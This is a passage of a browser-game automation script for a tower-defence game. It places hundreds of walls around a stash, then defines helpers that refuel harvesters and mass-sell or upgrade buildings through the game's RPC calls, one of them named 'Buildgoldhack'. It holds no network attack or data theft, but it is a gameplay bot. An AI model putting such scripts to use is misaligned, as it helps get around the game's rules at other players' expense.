Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 648, 'Wall', 0);
}
}, 0)
}
window.ARTY1 = function() {
Auto.ARTEMISXBASE()
}
window.TB = function() {
Auto3.BuildThingBase()
}
window.TH = function() {
EXTREME.Buildgoldhack()
}
window.MB = function() {
EXTREME.BuildMyBase()
}
window.XBase = function () {
EXTREME.BuildXBase()
}
window.SmallCornerBase = function () {
EXTREME.BuildMyBase2()
}
window.Refuel = function() {
var entities = Game.currentGame.world.entities
for (let uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
let obj = entities[uid];
Game.currentGame.network.sendRpc({
name: "CollectHarvester",
uid: obj.fromTick.uid
});
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 1) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.07
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 2) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.11
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 3) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.17
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 4) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.22
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 5) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.25
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 6) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.28
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 7) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.42
});
}
if (obj.fromTick.model == "Harvester" && obj.fromTick.tier == 8) {
Game.currentGame.network.sendRpc({
name: "AddDepositToHarvester",
uid: obj.fromTick.uid,
deposit: 0.65
});
}
}
}
// leave party function
window.leave = function() {
Game.currentGame.network.sendRpc({
name: "LeaveParty"
})
}
//sell functions
window.sellArrows = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "ArrowTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellBombs = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "BombTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellMages = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "MagicTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellCannons = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "CannonTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellMelees = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "MeleeTower") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellHarvesters = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Harvester") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellGoldmines = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "GoldMine") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellWalls = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Wall") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellDoors = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "Door") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.sellTraps = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "SlowTrap") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.SellAll = function() {
var entities = Game.currentGame.world.entities;
for(var uid in entities) {
if(!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if(obj.fromTick.model !== "GoldStash") {
Game.currentGame.network.sendRpc({
name: "DeleteBuilding",
uid: obj.fromTick.uid
});
}
}
}
//Upgrade funtions
window.upgradeArrows = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "ArrowTower") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
uid: obj.fromTick.uid
})
}
}
}
window.upgradeBombs = function() {
var entities = Game.currentGame.world.entities;
for (var uid in entities) {
if (!entities.hasOwnProperty(uid)) continue;
var obj = entities[uid];
if (obj.fromTick.model == "BombTower") {
Game.currentGame.network.sendRpc({
name: "UpgradeBuilding",
